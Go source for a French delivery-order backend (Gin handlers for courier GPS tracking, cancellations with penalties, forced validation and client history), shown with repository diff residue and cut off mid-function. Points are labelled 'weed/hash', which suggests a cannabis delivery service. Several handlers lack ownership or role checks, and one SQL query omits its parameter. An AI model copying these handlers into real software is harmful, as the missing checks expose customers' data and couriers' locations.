// ============================================
// SetCommandDestinationCoordinates stocke les coordonnées destination en Redis
// POST /api/v2/admin/protected/orders/:id/set-destination
func SetCommandDestinationCoordinates(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
return
}
adminUsername := c.GetString("username")
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
var req struct {
Latitude float64 `json:"latitude" binding:"required"`
Longitude float64 `json:"longitude" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Latitude et longitude requises",
})
return
}
// Validation des coordonnées GPS
if req.Latitude < -90 || req.Latitude > 90 {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Latitude invalide (doit être entre -90 et 90)",
"value": req.Latitude,
})
return
}
if req.Longitude < -180 || req.Longitude > 180 {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Longitude invalide (doit être entre -180 et 180)",
"value": req.Longitude,
})
return
}
// Vérifier que la commande existe
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
log.Printf("Command: %v", command)
// Stocker en Redis avec format JSON
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
coordsJSON, _ := json.Marshal(map[string]float64{
"lat": req.Latitude,
"lon": req.Longitude,
})
ttlSeconds := 24 * 60 * 60 // 24 heures
err = db.Redis.Set(db.RedisCtx, destCacheKey, coordsJSON, time.Duration(ttlSeconds)*time.Second).Err()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur stockage Redis",
"details": err.Error(),
})
return
}
// Ajouter un log
database.AddCommandLog(commandID, "destination_set",
fmt.Sprintf("Coordonnées destination définies par admin %s: (%.6f, %.6f) via Redis",
adminUsername, req.Latitude, req.Longitude),
adminUsername)
log.Printf("✅ [ADMIN %s] Coordonnées destination définies pour CMD %d: (%.6f, %.6f) en Redis",
adminUsername, commandID, req.Latitude, req.Longitude)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Coordonnées définies avec succès en Redis",
"command_id": commandID,
})
}
// ============================================
// 1. CLIENT PROFILE
// ============================================
func GetClientProfile(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
client, err := database.GetClientByUsername(username)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
return
}
client.Password = ""
c.JSON(http.StatusOK, gin.H{
"success": true,
"client": gin.H{
"id": client.ID,
"username": client.Username,
"command": client.Command,
"point": client.Point,
"amende": client.Amende,
"created_at": client.CreatedAt,
},
})
}
func GetClientFullHistory(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
client, err := database.GetClientByUsername(username)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
return
}
commands, err := database.GetAllCommands("", username)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération historique"})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"client": gin.H{
"username": client.Username,
"total_commands": client.Command,
"points": client.Point,
"amende": client.Amende,
},
"commands": commands,
"count": len(commands),
})
}
// ============================================
// 2. UPDATE ADDRESS
// ============================================
func UpdateCommandAddressCabine(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
var req struct {
DeliveryAddress string `json:"delivery_address" binding:"required"`
Reason string `json:"reason"`
}
if err := c.ShouldBindJSON(&req); err != nil || req.DeliveryAddress == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Adresse de livraison requise"})
return
}
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
status, _ := command["status"].(string)
allowedStatuses := []string{"pending", "", "assigned"}
isAllowed := false
for _, s := range allowedStatuses {
if status == s {
isAllowed = true
break
}
}
if !isAllowed {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Impossible de modifier l'adresse d'une commande en cours ou terminée",
"current_status": status,
"allowed_statuses": allowedStatuses,
})
return
}
if err := database.UpdateCommandAddress(commandID, req.DeliveryAddress); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de la mise à jour de l'adresse",
"details": err.Error(),
})
return
}
cabineUsername, _ := c.Get("username")
message := fmt.Sprintf("Adresse modifiée par cabine: %s", req.DeliveryAddress)
if req.Reason != "" {
message += fmt.Sprintf(" (Raison: %s)", req.Reason)
}
database.AddCommandLog(commandID, "address_updated", message, cabineUsername.(string))
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Adresse de livraison mise à jour",
"command_id": commandID,
"delivery_address": req.DeliveryAddress,
})
}
// ============================================
// 3. LIVREUR POSITION
// ============================================
func GetLivreurPosition(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
livreurUsername := c.Param("username")
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
c.JSON(http.StatusForbidden, gin.H{
"error": "Accès refusé - Réservé aux administrateurs et cabines",
})
return
}
if livreurUsername == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username livreur requis"})
return
}
position, err := database.GetLivreurPosition(livreurUsername)
if err != nil {
c.JSON(http.StatusOK, gin.H{
"success": false,
"livreur": livreurUsername,
"message": "Position non disponible (GPS désactivé ou livraison terminée)",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"livreur": livreurUsername,
"position": position,
})
}
// ============================================
// 4. DELIVERY TRACKING CLIENT (SANS GPS)
// ============================================
func GetDeliveryTrackingClient(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
if command["username"].(string) != username.(string) {
c.JSON(http.StatusForbidden, gin.H{"error": "Cette commande ne vous appartient pas"})
return
}
livreurAssign, _ := command["livreur_assign"].(string)
logs, _ := database.GetCommandLogs(commandID)
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"status": command["status"],
"livreur": livreurAssign,
"address": command["adresse"],
"logs": logs,
"message": "Suivi en cours - ETA disponible via /api/v1/orders/:id/eta",
})
}
// ============================================
// 5. DELIVERY TRACKING ADMIN (AVEC GPS)
// ============================================
func GetDeliveryTracking(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
c.JSON(http.StatusForbidden, gin.H{
"error": "Accès refusé - Réservé aux administrateurs et cabines",
})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign == "" {
c.JSON(http.StatusOK, gin.H{
"success": true,
"command": command,
"status": "Aucun livreur assigné",
})
return
}
position, err := database.GetLivreurPosition(livreurAssign)
logs, _ := database.GetCommandLogs(commandID)
response := gin.H{
"success": true,
"command": command,
"livreur": livreurAssign,
"logs": logs,
}
status, _ := command["status"].(string)
if err != nil && (status == "livre" || status == "approved") {
response["livreur_position"] = nil
response["position_status"] = "Livraison terminée - Position non suivie"
} else if err != nil {
response["livreur_position"] = nil
response["position_status"] = "Position non disponible (GPS peut-être désactivé)"
} else {
response["livreur_position"] = position
response["position_status"] = "Position en temps réel"
}
c.JSON(http.StatusOK, response)
}
// ============================================
// 6. DELIVERY ISSUES
// ============================================
func GetDeliveryIssues(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
status := c.Query("status")
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
c.JSON(http.StatusForbidden, gin.H{
"error": "Accès refusé - Réservé aux administrateurs et cabines",
})
return
}
issues, err := database.GetDeliveryIssues(status)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération problèmes",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"issues": issues,
"count": len(issues),
})
}
func CreateDeliveryIssue(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
var req struct {
CommandID int `json:"command_id" binding:"required"`
IssueType string `json:"issue_type" binding:"required"`
Description string `json:"description" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
return
}
cabineUsername, _ := c.Get("username")
issue, err := database.CreateDeliveryIssue(
req.CommandID,
req.IssueType,
req.Description,
cabineUsername.(string),
)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur création problème",
"details": err.Error(),
})
return
}
c.JSON(http.StatusCreated, gin.H{
"success": true,
"message": "Problème enregistré",
"issue": issue,
})
}
func UpdateDeliveryIssue(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
issueID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
var req struct {
Status string `json:"status"`
Resolution string `json:"resolution"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
return
}
cabineUsername, _ := c.Get("username")
err = database.UpdateDeliveryIssue(issueID, req.Status, req.Resolution, cabineUsername.(string))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur mise à jour",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Problème mis à jour",
})
}
func AddDeliverySupport(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID commande invalide"})
return
}
var req struct {
Message string `json:"message"`
}
c.ShouldBindJSON(&req)
if req.Message == "" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Message requis",
"example": gin.H{
"message": "Votre message de support ici",
},
})
return
}
cabineUsername, _ := c.Get("username")
err = database.AddCommandLog(
commandID,
"support",
fmt.Sprintf("Support cabine: %s", req.Message),
cabineUsername.(string),
)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur ajout support",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Support ajouté",
})
}
func GetCommandLogs(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID commande invalide"})
return
}
logs, err := database.GetCommandLogs(commandID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération logs",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"logs": logs,
"count": len(logs),
})
}
// ============================================
// 7. FORCE VALIDATE DELIVERY
// ============================================
func ForceValidateDelivery(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé - Admin seulement"})
return
}
adminUsername, _ := c.Get("username")
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
var req struct {
Reason string `json:"reason" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Raison requise pour validation forcée",
"details": err.Error(),
"example": gin.H{
"reason": "Client confirmé par téléphone",
},
})
return
}
if req.Reason == "" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Veuillez fournir une raison pour la validation forcée",
})
return
}
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{
"error": "Commande non trouvée",
"command_id": commandID,
})
return
}
status, ok := command["status"].(string)
if !ok {
c.JSON(http.StatusBadRequest, gin.H{"error": "Statut de commande invalide"})
return
}
validStatuses := []string{"assigned", "in_transit", "en_route", "en_cours", "support", "pending", "priority"}
isValidStatus := false
for _, vs := range validStatuses {
if status == vs {
isValidStatus = true
break
}
}
if !isValidStatus && status != "livre" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Commande ne peut pas être validée de force dans ce statut",
"current_status": status,
"valid_statuses": validStatuses,
})
return
}
if status == "livre" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cette commande a déjà été validée",
"current_status": status,
})
return
}
err = database.UpdateCommandStatus(commandID, "livre")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de la validation forcée",
"details": err.Error(),
})
return
}
clientUsername, _ := command["username"].(string)
livreurAssign, _ := command["livreur_assign"].(string)
if err := database.IncrementClientCommandCount(clientUsername); err != nil {
log.Printf("⚠️ Erreur compteur commandes: %v", err)
}
if err := database.AddClientPoints(clientUsername, 10); err != nil {
log.Printf("⚠️ Erreur ajout points: %v", err)
}
if livreurAssign != "" {
log.Printf("📦 Commande %d validée de force par admin - Optimisation queue de %s...", commandID, livreurAssign)
err := database.CompleteDeliveryAndProcessNext(livreurAssign, commandID)
if err != nil {
log.Printf("⚠️ Erreur optimisation: %v", err)
}
}
message := fmt.Sprintf("VALIDATION FORCÉE par admin %s - Raison: %s", adminUsername.(string), req.Reason)
database.AddCommandLog(commandID, "livre", message, adminUsername.(string))
log.Printf("🔴 Commande %d validée de force par %s - Raison: %s", commandID, adminUsername.(string), req.Reason)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Livraison validée de force (sans vérification GPS)",
"command_id": commandID,
"validation_type": "forced",
"reason": req.Reason,
"validated_by": adminUsername.(string),
"new_status": "livre",
"points_awarded": 10,
"queue_optimized": livreurAssign != "",
})
}
+491
View File
@@ -0,0 +1,491 @@
// ============================================
// handlers/cancel_command_handler.go
// ANNULATION DE COMMANDES AVEC SANCTIONS ÉVOLUTIVES
// VERSION SÉCURISÉE - FIX ETA CHECK
// ============================================
package handlers
import (
"fmt"
"gestion/db"
"log"
"net/http"
"strconv"
"strings"
"time"
"github.com/gin-gonic/gin"
)
// ============================================
// RATE LIMITING
// ============================================
var (
cancelRateLimitMap = make(map[string][]time.Time)
cancelMaxRequests = 5 // Max 5 annulations
cancelTimeWindow = time.Hour // Par heure
)
func checkCancelRateLimit(key string) bool {
now := time.Now()
if timestamps, exists := cancelRateLimitMap[key]; exists {
var validTimestamps []time.Time
for _, ts := range timestamps {
if now.Sub(ts) < cancelTimeWindow {
validTimestamps = append(validTimestamps, ts)
}
}
cancelRateLimitMap[key] = validTimestamps
if len(validTimestamps) >= cancelMaxRequests {
return false
}
}
cancelRateLimitMap[key] = append(cancelRateLimitMap[key], now)
return true
}
// ============================================
// HELPERS DE SÉCURITÉ
// ============================================
func validateReason(reason string) string {
// Limiter la longueur
if len(reason) > 500 {
reason = reason[:500]
}
// Sanitizer
reason = strings.Map(func(r rune) rune {
if r < 32 || r == 127 {
return -1
}
return r
}, reason)
if strings.TrimSpace(reason) == "" {
return "Annulation par le client"
}
return reason
}
// ============================================
// 1️⃣ ANNULATION PAR LE CLIENT - VERSION SÉCURISÉE
// ============================================
func CancelCommandByClient(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, err := safeGetUsername(c)
if err != nil || c.GetString("role") != "client" {
log.Printf("❌ [CANCEL_CLIENT] Accès refusé")
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux clients"})
return
}
rateLimitKey := fmt.Sprintf("cancel:%s", username)
if !checkCancelRateLimit(rateLimitKey) {
log.Printf("⚠️ [CANCEL_CLIENT] Rate limit dépassé pour %s", username)
c.JSON(http.StatusTooManyRequests, gin.H{
"error": "Trop d'annulations récentes",
"message": "Veuillez attendre avant de réessayer",
})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil || commandID <= 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
var req struct {
Reason string `json:"reason"`
Force bool `json:"force"`
}
if err := c.ShouldBindJSON(&req); err != nil {
req.Reason = "Annulation par le client"
req.Force = false
}
req.Reason = validateReason(req.Reason)
log.Printf("🚫 [CANCEL_CLIENT] Client %s annule cmd %d (force=%v)", username, commandID, req.Force)
// ============================================
// UTILISER LA FONCTION ATOMIQUE
// ============================================
penalty, pointsLost, err := database.CancelCommandAtomic(commandID, username, req.Reason, req.Force)
if err != nil {
log.Printf("❌ [CANCEL_CLIENT] Erreur: %v", err)
// ✅ GESTION SPÉCIALE POUR "confirmation requise"
if err.Error() == "confirmation requise" {
// ✅ RÉCUPÉRER LES INFORMATIONS DE LA COMMANDE
command, errCmd := database.GetCommandByID(commandID)
if errCmd != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
livreurAssign, _ := command["livreur_assign"].(string)
currentStatus, _ := command["status"].(string)
// ✅ VÉRIFIER SI ETA EXISTE (VERSION CORRIGÉE)
hasETA := false
if livreurAssign != "" {
// ✅ FIX: Utiliser la nouvelle fonction qui vérifie VRAIMENT l'ETA
hasETA = database.CheckCommandETAExistsAndValid(commandID)
}
// ✅ CALCULER LA PÉNALITÉ QUI SERA APPLIQUÉE
nextPenalty, _ := database.CalculateCancellationPenalty(username)
cancelCount, _ := database.GetClientCancellationsCount(username)
// ✅ RÉCUPÉRER LES POINTS ACTUELS
client, _ := database.GetClientByUsername(username)
currentPointsWeed := 0
currentPointsZipette := 0
if client != nil {
currentPointsWeed = client.Point
currentPointsZipette = client.PointZipette
}
totalPoints := currentPointsWeed + currentPointsZipette
// ✅ CONSTRUIRE LA RÉPONSE EN FONCTION DE hasETA
response := gin.H{
"success": false,
"warning": true,
"command_info": gin.H{
"command_id": commandID,
"status": currentStatus,
"livreur": livreurAssign,
},
}
if hasETA {
// ⚠️ CAS 1: LIVREUR EN ROUTE (ETA définie) = PÉNALITÉ TOTALE
log.Printf("⚠️ [CANCEL_CLIENT] Annulation tardive avec ETA - Status: %s, Livreur: %s", currentStatus, livreurAssign)
response["message"] = "⚠️ Un livreur est en route vers votre adresse (ETA définie)"
response["details"] = gin.H{
"livreur": livreurAssign,
"status": currentStatus,
"has_eta": true,
}
response["penalty_warning"] = gin.H{
"will_apply": true,
"penalty_amount": nextPenalty,
"current_violations": cancelCount,
"current_points_weed": currentPointsWeed,
"current_points_zipette": currentPointsZipette,
"total_points": totalPoints,
"points_will_reset": true,
"message": fmt.Sprintf(
"⚠️ ATTENTION: Une amende de %d points sera appliquée ET tous vos points (%d weed/hash + %d zipette = %d total) seront remis à zéro!",
nextPenalty, currentPointsWeed, currentPointsZipette, totalPoints,
),
"scale": gin.H{
"1st_cancel": "20 points + remise à zéro TOTALE",
"2nd_cancel": "50 points + remise à zéro TOTALE",
"3rd_cancel": "100 points + remise à zéro TOTALE",
"4th+_cancel": "150 points + remise à zéro TOTALE",
"your_next": fmt.Sprintf("%d points + remise à zéro de tous vos %d points", nextPenalty, totalPoints),
},
}
} else {
// ️ CAS 2: LIVREUR ASSIGNÉ MAIS PAS EN ROUTE (PAS D'ETA) = PAS DE PÉNALITÉ
log.Printf("️ [CANCEL_CLIENT] Livreur assigné mais pas d'ETA - Annulation sans pénalité")
response["message"] = "️ Un livreur est assigné mais n'est pas encore en route"
response["details"] = gin.H{
"livreur": livreurAssign,
"status": currentStatus,
"has_eta": false,
}
response["penalty_warning"] = gin.H{
"will_apply": false,
"message": "Aucune pénalité ne sera appliquée car le livreur n'est pas encore en route",
"points_safe": true,
}
}
// ✅ AJOUTER LES INSTRUCTIONS D'ACTION
response["action_required"] = "Pour confirmer l'annulation, renvoyez la même requête avec 'force': true"
response["example"] = gin.H{
"reason": req.Reason,
"force": true,
}
// ✅ AJOUTER POSITION DANS LA QUEUE (si disponible)
if livreurAssign != "" {
position, posErr := database.GetCommandPositionInQueue(livreurAssign, commandID)
if posErr == nil && position > 0 {
response["details"].(gin.H)["position_in_queue"] = position
queueInfo, _ := database.GetDeliverymanQueueInfo(livreurAssign)
if queueInfo != nil {
response["details"].(gin.H)["queue_info"] = queueInfo
}
}
}
log.Printf("⚠️ [CANCEL_CLIENT] Confirmation requise pour cmd %d - hasETA=%v, penalty=%d",
commandID, hasETA, nextPenalty)
c.JSON(http.StatusConflict, response)
return
}
// ✅ AUTRES ERREURS
switch err.Error() {
case "commande non trouvée":
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
case "commande ne vous appartient pas":
c.JSON(http.StatusForbidden, gin.H{"error": "Cette commande ne vous appartient pas"})
case "impossible d'annuler":
c.JSON(http.StatusBadRequest, gin.H{"error": "Cette commande ne peut plus être annulée"})
default:
c.JSON(http.StatusBadRequest, gin.H{"error": "Impossible d'annuler la commande"})
}
return
}
// ============================================
// SUCCÈS
// ============================================
log.Printf("✅ [CANCEL_CLIENT] Commande %d annulée", commandID)
response := gin.H{
"success": true,
"message": "Commande annulée avec succès",
"command_id": commandID,
"new_status": "cancelled",
}
if penalty > 0 {
response["penalty"] = gin.H{
"penalty_points": penalty,
"points_weed_lost": pointsLost["weed"],
"points_zipette_lost": pointsLost["zipette"],
"total_points_lost": pointsLost["weed"] + pointsLost["zipette"],
"warning": "Une pénalité a été appliquée et vos points ont été remis à zéro",
}
} else {
response["info"] = "Aucune pénalité appliquée"
}
c.JSON(http.StatusOK, response)
}
// ============================================
// HISTORIQUE DES ANNULATIONS - VERSION SÉCURISÉE
// ============================================
func GetMyCancellationHistory(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, err := safeGetUsername(c)
if err != nil || c.GetString("role") != "client" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux clients"})
return
}
log.Printf("📊 [CANCEL_HISTORY] Client %s - Consultation historique", username)
history, err := database.GetClientCancellationHistory(username)
if err != nil {
log.Printf("❌ [CANCEL_HISTORY] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération historique",
})
return
}
var totalPenalty int
penaltyQuery := `SELECT COALESCE(amende, 0) FROM clients WHERE username = $1`
database.QueryRow(penaltyQuery).Scan(&totalPenalty)
c.JSON(http.StatusOK, gin.H{
"success": true,
"data": gin.H{
"username": username,
"history": history,
"total_penalties": totalPenalty,
},
})
}
// ============================================
// LISTE DES COMMANDES ANNULÉES - VERSION SÉCURISÉE
// ============================================
func GetAllCancelledOrders(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, err := safeGetUsername(c)
if err != nil {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
log.Printf("❌ [GET_ALL_CANCELLED] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
return
}
// ✅ VALIDATION des paramètres
filterUsername := c.Query("username")
if len(filterUsername) > 100 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username trop long"})
return
}
limitStr := c.DefaultQuery("limit", "50")
limit, err := strconv.Atoi(limitStr)
if err != nil || limit < 1 {
limit = 50
}
if limit > 500 {
limit = 500
}
log.Printf("📋 [GET_ALL_CANCELLED] %s (%s) récupère %d commandes", username, userRole, limit)
cancelledOrders, err := database.GetCancelledCommands(filterUsername, limit)
if err != nil {
log.Printf("❌ [GET_ALL_CANCELLED] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de la récupération",
})
return
}
// ✅ ENRICHIR les données (sans exposer d'infos sensibles inutiles)
var enrichedOrders []map[string]interface{}
for _, order := range cancelledOrders {
orderID, _ := order["id"].(int)
items, _ := database.GetCommandItems(orderID)
logs, _ := database.GetCommandLogs(orderID)
var cancellationLog map[string]interface{}
for _, logEntry := range logs {
status, _ := logEntry["status"].(string)
if status == "cancelled" {
cancellationLog = logEntry
break
}
}
enrichedOrder := map[string]interface{}{
"id": order["id"],
"username": order["username"],
"total_prix": order["total_prix"],
"created_at": order["created_at"],
"updated_at": order["updated_at"],
"items_count": len(items),
}
if cancellationLog != nil {
enrichedOrder["cancellation"] = gin.H{
"cancelled_at": cancellationLog["created_at"],
"cancelled_by": cancellationLog["author"],
}
}
enrichedOrders = append(enrichedOrders, enrichedOrder)
}
log.Printf("✅ [GET_ALL_CANCELLED] %d commandes récupérées", len(enrichedOrders))
c.JSON(http.StatusOK, gin.H{
"success": true,
"data": gin.H{
"cancelled_orders": enrichedOrders,
"count": len(enrichedOrders),
},
})
}
// ============================================
// SUPPRESSION PAR CABINE - VERSION SÉCURISÉE
// ============================================
func DeleteCommandByCabine(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, err := safeGetUsername(c)
if err != nil {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
userRole := c.GetString("role")
if userRole != "cabine" && userRole != "admin" {
log.Printf("❌ [DELETE_COMMAND] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux cabines"})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil || commandID <= 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
log.Printf("🗑️ [DELETE_COMMAND] %s (%s) supprime cmd %d", username, userRole, commandID)
// ✅ UTILISER LA FONCTION ATOMIQUE
err = database.DeleteCommandAtomic(commandID, username, userRole)
if err != nil {
log.Printf("❌ [DELETE_COMMAND] Erreur: %v", err)
// ❌ Ne pas exposer les détails de l'erreur
if err.Error() == "commande non trouvée" {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
} else {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la suppression"})
}
return
}
log.Printf("✅ [DELETE_COMMAND] Commande %d supprimée", commandID)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Commande supprimée définitivement",
"deleted_by": gin.H{
"username": username,
"role": userRole,
},
})
}
// ============================================
// HELPER
// ============================================
func getStatusCancelReason(status string) string {
reasons := map[string]string{
"livre": "La commande a déjà été livrée",
"approved": "La livraison a été confirmée",
"cancelled": "La commande est déjà annulée",
"disabled": "La commande a été désactivée",
}
if reason, ok := reasons[status]; ok {
return reason
}
return "Statut ne permettant pas l'annulation"
}
+264
View File
@@ -0,0 +1,264 @@
// ============================================
// handlers/client_tracking.go - NOUVEAU FICHIER
// SUIVI COMMANDE POUR CLIENTS
// ============================================
package handlers
import (
"gestion/db"
"log"
"net/http"
"strconv"
"github.com/gin-gonic/gin"
)
// GetCommandStatus - Statut temps réel d'une commande
// GET /api/v1/commands/:id/status
func GetCommandStatus(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
usernameStr := username.(string)
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
log.Printf("📊 [STATUS] Client %s demande statut cmd %d", usernameStr, commandID)
// Récupérer la commande
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// ✅ VÉRIFIER PROPRIÉTÉ
cmdUsername, _ := command["username"].(string)
if cmdUsername != usernameStr {
log.Printf("❌ [STATUS] Accès refusé - cmd de %s demandée par %s", cmdUsername, usernameStr)
c.JSON(http.StatusForbidden, gin.H{
"error": "Cette commande ne vous appartient pas",
})
return
}
// Récupérer ETA
etaData, _ := database.GetCommandETA(commandID)
// Récupérer infos livreur (si assigné)
livreurInfo := gin.H{
"assigned": false,
}
if livreurAssign, ok := command["livreur_assign"].(string); ok && livreurAssign != "" {
queueInfo, _ := database.GetDeliverymanQueueInfo(livreurAssign)
livreurInfo = gin.H{
"assigned": true,
"livreur_name": livreurAssign,
"queue_position": queueInfo["queue_size"],
}
}
// Mapper le statut en message lisible
statusMessage := getStatusMessage(command["status"].(string))
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"status": command["status"],
"status_message": statusMessage,
"adresse": command["adresse"],
"total_prix": command["total_prix"],
"created_at": command["created_at"],
"livreur": livreurInfo,
"eta": etaData,
})
}
// GetMyCommandsWithTracking - Liste des commandes avec suivi
// GET /api/v1/my-commands
func GetMyCommandsWithTracking(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
usernameStr := username.(string)
status := c.Query("status")
log.Printf("📋 [MY_CMDS] Client %s demande ses commandes (status=%s)", usernameStr, status)
commands, err := database.GetAllCommands(status, usernameStr)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération",
"details": err.Error(),
})
return
}
// Enrichir avec tracking
enrichedCommands := make([]gin.H, len(commands))
for i, cmd := range commands {
commandID, _ := cmd["id"].(int)
// ETA
etaData, _ := database.GetCommandETA(commandID)
// Infos livreur
livreurInfo := gin.H{
